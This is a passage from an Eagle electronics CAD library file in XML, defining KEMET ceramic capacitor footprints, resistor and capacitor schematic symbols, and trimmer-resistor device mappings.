width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"11.557\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-13.716\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"13.716\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<text x=\"-15.24\" y=\"8.89\" size=\"1.778\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-2.54\" size=\"1.778\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C0402K\">\n<description>&lt;b&gt;Ceramic Chip Capacitor KEMET 0204 Reflow solder&lt;/b&gt;&lt;p&gt;\nMetric Code Size 1005</description>\n<wire x1=\"-0.425\" y1=\"0.2\" x2=\"0.425\" y2=\"0.2\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"0.425\" y1=\"-0.2\" x2=\"-0.425\" y2=\"-0.2\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.6\" y=\"0\" dx=\"0.925\" dy=\"0.74\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.6\" y=\"0\" dx=\"0.925\" dy=\"0.74\" layer=\"1\"/>\n<text x=\"-0.5\" y=\"0.425\" size=\"1.016\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.5\" y=\"-1.45\" size=\"1.016\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.5\" y1=\"-0.25\" x2=\"-0.225\" y2=\"0.25\" layer=\"51\"/>\n<rectangle x1=\"0.225\" y1=\"-0.25\" x2=\"0.5\" y2=\"0.25\" layer=\"51\"/>\n</package>\n<package name=\"C0603K\">\n<description>&lt;b&gt;Ceramic Chip Capacitor KEMET 0603 Reflow solder&lt;/b&gt;&lt;p&gt;\nMetric Code Size 1608</description>\n<wire x1=\"-0.725\" y1=\"0.35\" x2=\"0.725\" y2=\"0.35\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"0.725\" y1=\"-0.35\" x2=\"-0.725\" y2=\"-0.35\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.875\" y=\"0\" dx=\"1.05\" dy=\"1.08\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.875\" y=\"0\" dx=\"1.05\" dy=\"1.08\" layer=\"1\"/>\n<text x=\"-0.8\" y=\"0.65\" size=\"1.016\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.8\" y=\"-1.65\" size=\"1.016\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.8\" y1=\"-0.4\" x2=\"-0.45\" y2=\"0.4\" layer=\"51\"/>\n<rectangle x1=\"0.45\" y1=\"-0.4\" x2=\"0.8\" y2=\"0.4\" layer=\"51\"/>\n</package>\n<package name=\"C0805K\">\n<description>&lt;b&gt;Ceramic Chip Capacitor KEMET 0805 Reflow solder&lt;/b&gt;&lt;p&gt;\nMetric Code Size 2012</description>\n<wire x1=\"-0.925\" y1=\"0.6\" x2=\"0.925\" y2=\"0.6\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"0.925\" y1=\"-0.6\" x2=\"-0.925\" y2=\"-0.6\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1\" y=\"0\" dx=\"1.3\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"1\" y=\"0\" dx=\"1.3\" dy=\"1.6\" layer=\"1\"/>\n<text x=\"-1\" y=\"0.875\" size=\"1.016\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1\" y=\"-1.9\" size=\"1.016\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1\" y1=\"-0.65\" x2=\"-0.5\" y2=\"0.65\" layer=\"51\"/>\n<rectangle x1=\"0.5\" y1=\"-0.65\" x2=\"1\" y2=\"0.65\" layer=\"51\"/>\n</package>\n<package name=\"C1206K\">\n<description>&lt;b&gt;Ceramic Chip Capacitor KEMET 1206 Reflow solder&lt;/b&gt;&lt;p&gt;\nMetric Code Size 3216</description>\n<wire x1=\"-1.525\" y1=\"0.75\" x2=\"1.525\" y2=\"0.75\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"1.525\" y1=\"-0.75\" x2=\"-1.525\" y2=\"-0.75\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.5\" y=\"0\" dx=\"1.5\" dy=\"2\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.5\" y=\"0\" dx=\"1.5\" dy=\"2\" layer=\"1\"/>\n<text x=\"-1.6\" y=\"1.1\" size=\"1.016\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.6\" y=\"-2.1\" size=\"1.016\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.6\" y1=\"-0.8\" x2=\"-1.1\" y2=\"0.8\" layer=\"51\"/>\n<rectangle x1=\"1.1\" y1=\"-0.8\" x2=\"1.6\" y2=\"0.8\" layer=\"51\"/>\n</package>\n<package name=\"C1210K\">\n<description>&lt;b&gt;Ceramic Chip Capacitor KEMET 1210 Reflow solder&lt;/b&gt;&lt;p&gt;\nMetric Code Size 3225</description>\n<wire x1=\"-1.525\" y1=\"1.175\" x2=\"1.525\" y2=\"1.175\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"1.525\" y1=\"-1.175\" x2=\"-1.525\" y2=\"-1.175\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.5\" y=\"0\" dx=\"1.5\" dy=\"2.9\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.5\" y=\"0\" dx=\"1.5\" dy=\"2.9\" layer=\"1\"/>\n<text x=\"-1.6\" y=\"1.55\" size=\"1.016\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.6\" y=\"-2.575\" size=\"1.016\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.6\" y1=\"-1.25\" x2=\"-1.1\" y2=\"1.25\" layer=\"51\"/>\n<rectangle x1=\"1.1\" y1=\"-1.25\" x2=\"1.6\" y2=\"1.25\" layer=\"51\"/>\n</package>\n<package name=\"C1812K\">\n<description>&lt;b&gt;Ceramic Chip Capacitor KEMET 1812 Reflow solder&lt;/b&gt;&lt;p&gt;\nMetric Code Size 4532</description>\n<wire x1=\"-2.175\" y1=\"1.525\" x2=\"2.175\" y2=\"1.525\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"2.175\" y1=\"-1.525\" x2=\"-2.175\" y2=\"-1.525\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-2.05\" y=\"0\" dx=\"1.8\" dy=\"3.7\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.05\" y=\"0\" dx=\"1.8\" dy=\"3.7\" layer=\"1\"/>\n<text x=\"-2.25\" y=\"1.95\" size=\"1.016\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.25\" y=\"-2.975\" size=\"1.016\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.25\" y1=\"-1.6\" x2=\"-1.65\" y2=\"1.6\" layer=\"51\"/>\n<rectangle x1=\"1.65\" y1=\"-1.6\" x2=\"2.25\" y2=\"1.6\" layer=\"51\"/>\n</package>\n<package name=\"C1825K\">\n<description>&lt;b&gt;Ceramic Chip Capacitor KEMET 1825 Reflow solder&lt;/b&gt;&lt;p&gt;\nMetric Code Size 4564</description>\n<wire x1=\"-1.525\" y1=\"3.125\" x2=\"1.525\" y2=\"3.125\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"1.525\" y1=\"-3.125\" x2=\"-1.525\" y2=\"-3.125\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.5\" y=\"0\" dx=\"1.8\" dy=\"6.9\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.5\" y=\"0\" dx=\"1.8\" dy=\"6.9\" layer=\"1\"/>\n<text x=\"-1.6\" y=\"3.55\" size=\"1.016\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.6\" y=\"-4.625\" size=\"1.016\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.6\" y1=\"-3.2\" x2=\"-1.1\" y2=\"3.2\" layer=\"51\"/>\n<rectangle x1=\"1.1\" y1=\"-3.2\" x2=\"1.6\" y2=\"3.2\" layer=\"51\"/>\n</package>\n<package name=\"C2220K\">\n<description>&lt;b&gt;Ceramic Chip Capacitor KEMET 2220 Reflow solder&lt;/b&gt;&lt;p&gt;\nMetric Code Size 5650</description>\n<wire x1=\"-2.725\" y1=\"2.425\" x2=\"2.725\" y2=\"2.425\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"2.725\" y1=\"-2.425\" x2=\"-2.725\" y2=\"-2.425\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-2.55\" y=\"0\" dx=\"1.85\" dy=\"5.5\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.55\" y=\"0\" dx=\"1.85\" dy=\"5.5\" layer=\"1\"/>\n<text x=\"-2.8\" y=\"2.95\" size=\"1.016\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.8\" y=\"-3.975\" size=\"1.016\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.8\" y1=\"-2.5\" x2=\"-2.2\" y2=\"2.5\" layer=\"51\"/>\n<rectangle x1=\"2.2\" y1=\"-2.5\" x2=\"2.8\" y2=\"2.5\" layer=\"51\"/>\n</package>\n<package name=\"C2225K\">\n<description>&lt;b&gt;Ceramic Chip Capacitor KEMET 2225 Reflow solder&lt;/b&gt;&lt;p&gt;\nMetric Code Size 5664</description>\n<wire x1=\"-2.725\" y1=\"3.075\" x2=\"2.725\" y2=\"3.075\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"2.725\" y1=\"-3.075\" x2=\"-2.725\" y2=\"-3.075\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-2.55\" y=\"0\" dx=\"1.85\" dy=\"6.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.55\" y=\"0\" dx=\"1.85\" dy=\"6.8\" layer=\"1\"/>\n<text x=\"-2.8\" y=\"3.6\" size=\"1.016\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.8\" y=\"-4.575\" size=\"1.016\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.8\" y1=\"-3.15\" x2=\"-2.2\" y2=\"3.15\" layer=\"51\"/>\n<rectangle x1=\"2.2\" y1=\"-3.15\" x2=\"2.8\" y2=\"3.15\" layer=\"51\"/>\n</package>\n</packages>\n<symbols>\n<symbol name=\"R-TRIM\">\n<wire x1=\"0.762\" y1=\"2.54\" x2=\"0\" y2=\"2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-0.762\" y1=\"2.54\" x2=\"-0.762\" y2=\"-2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0.762\" y1=\"-2.54\" x2=\"0.762\" y2=\"2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"2.54\" y1=\"0\" x2=\"1.651\" y2=\"0\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"1.651\" y1=\"0\" x2=\"-1.8796\" y2=\"1.7526\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"2.54\" x2=\"0\" y2=\"5.08\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"2.54\" x2=\"-0.762\" y2=\"2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-0.762\" y1=\"-2.54\" x2=\"0.762\" y2=\"-2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-2.286\" y1=\"1.27\" x2=\"-1.651\" y2=\"2.413\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"-2.54\" x2=\"-2.54\" y2=\"-0.508\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"-0.508\" x2=\"-3.048\" y2=\"-1.524\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"-0.508\" x2=\"-2.032\" y2=\"-1.524\" width=\"0.1524\" layer=\"94\"/>\n<text x=\"-5.969\" y=\"-3.81\" size=\"1.778\" layer=\"95\" rot=\"R90\">&gt;NAME</text>\n<text x=\"-3.81\" y=\"-3.81\" size=\"1.778\" layer=\"96\" rot=\"R90\">&gt;VALUE</text>\n<pin name=\"E\" x=\"0\" y=\"-5.08\" visible=\"pad\" length=\"short\" direction=\"pas\" rot=\"R90\"/>\n<pin name=\"A\" x=\"0\" y=\"5.08\" visible=\"pad\" length=\"short\" direction=\"pas\" rot=\"R270\"/>\n<pin name=\"S\" x=\"5.08\" y=\"0\" visible=\"pad\" length=\"short\" direction=\"pas\" rot=\"R180\"/>\n</symbol>\n<symbol name=\"R-US\">\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-2.159\" y2=\"1.016\" width=\"0.2032\" layer=\"94\"/>\n<wire x1=\"-2.159\" y1=\"1.016\" x2=\"-1.524\" y2=\"-1.016\" width=\"0.2032\" layer=\"94\"/>\n<wire x1=\"-1.524\" y1=\"-1.016\" x2=\"-0.889\" y2=\"1.016\" width=\"0.2032\" layer=\"94\"/>\n<wire x1=\"-0.889\" y1=\"1.016\" x2=\"-0.254\" y2=\"-1.016\" width=\"0.2032\" layer=\"94\"/>\n<wire x1=\"-0.254\" y1=\"-1.016\" x2=\"0.381\" y2=\"1.016\" width=\"0.2032\" layer=\"94\"/>\n<wire x1=\"0.381\" y1=\"1.016\" x2=\"1.016\" y2=\"-1.016\" width=\"0.2032\" layer=\"94\"/>\n<wire x1=\"1.016\" y1=\"-1.016\" x2=\"1.651\" y2=\"1.016\" width=\"0.2032\" layer=\"94\"/>\n<wire x1=\"1.651\" y1=\"1.016\" x2=\"2.286\" y2=\"-1.016\" width=\"0.2032\" layer=\"94\"/>\n<wire x1=\"2.286\" y1=\"-1.016\" x2=\"2.54\" y2=\"0\" width=\"0.2032\" layer=\"94\"/>\n<text x=\"-3.81\" y=\"1.4986\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"-3.81\" y=\"-3.302\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"2\" x=\"5.08\" y=\"0\" visible=\"off\" length=\"short\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"1\" x=\"-5.08\" y=\"0\" visible=\"off\" length=\"short\" direction=\"pas\" swaplevel=\"1\"/>\n</symbol>\n<symbol name=\"C-EU\">\n<wire x1=\"0\" y1=\"0\" x2=\"0\" y2=\"-0.508\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"-2.54\" x2=\"0\" y2=\"-2.032\" width=\"0.1524\" layer=\"94\"/>\n<text x=\"1.524\" y=\"0.381\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"1.524\" y=\"-4.699\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<rectangle x1=\"-2.032\" y1=\"-2.032\" x2=\"2.032\" y2=\"-1.524\" layer=\"94\"/>\n<rectangle x1=\"-2.032\" y1=\"-1.016\" x2=\"2.032\" y2=\"-0.508\" layer=\"94\"/>\n<pin name=\"1\" x=\"0\" y=\"2.54\" visible=\"off\" length=\"short\" direction=\"pas\" swaplevel=\"1\" rot=\"R270\"/>\n<pin name=\"2\" x=\"0\" y=\"-5.08\" visible=\"off\" length=\"short\" direction=\"pas\" swaplevel=\"1\" rot=\"R90\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"R-TRIMM\" prefix=\"R\" uservalue=\"yes\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt;</description>\n<gates>\n<gate name=\"G$1\" symbol=\"R-TRIM\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"3304W\" package=\"RTRIM3304W\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3165W\" package=\"RTRIM3165W\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3202\" package=\"RTRIM3202\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3314J\" package=\"RTRIM3314J\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"4G/J\" package=\"RTRIM4G/J\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"CVR42A\" package=\"RTRIMCVR42A\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3214W\" package=\"RTRIM3214W\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3224G\" package=\"RTRIM3224G\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3224J\" package=\"RTRIM3224J\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3224X\" package=\"RTRIM3224X\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3103\" package=\"RTRIM3103\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"5W\" package=\"RTRIM5W\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"5X\" package=\"RTRIM5X\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"TSM53YJ\" package=\"RTRIMTSM53YJ\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"TSM53YL\" package=\"RTRIMTSM53YL\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"TS63X\" package=\"RTRIMTS63X\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"TS63Y\" package=\"RTRIMTS63Y\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"TS63Z\" package=\"RTRIMTS63Z\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3296P\" package=\"RTRIM3296P\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3296W\" package=\"RTRIM3296W\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3296X\" package=\"RTRIM3296X\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3296Y\" package=\"RTRIM3296Y\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"74W\" package=\"RTRIM74W\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"74X\" package=\"RTRIM74X\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3224W\" package=\"RTRIM3224W\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3339P\" package=\"RTRIM3339P\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"64P\" package=\"RTRIM64P\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"64W\" package=\"RTRIM64W\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"64X\" package=\"RTRIM64X\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"64Y\" package=\"RTRIM64Y\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"64Z\" package=\"RTRIM64Z\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3059Y\" package=\"RTRIM3059Y\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"70Y\" package=\"RTRIM70Y\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3374\" package=\"RTRIM3374\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3299W\" package=\"RTRIM3299W\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"43P\" package=\"RTRIM43P\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3006P\" package=\"RTRIM3006P\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"T18\" package=\"RTRIMT18\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"T93XA\" package=\"RTRIMT93XA\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"T93XB\" package=\"RTRIMT93XB\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"S\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"T93YA\" package=\"RTRIMT93YA\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"S\" 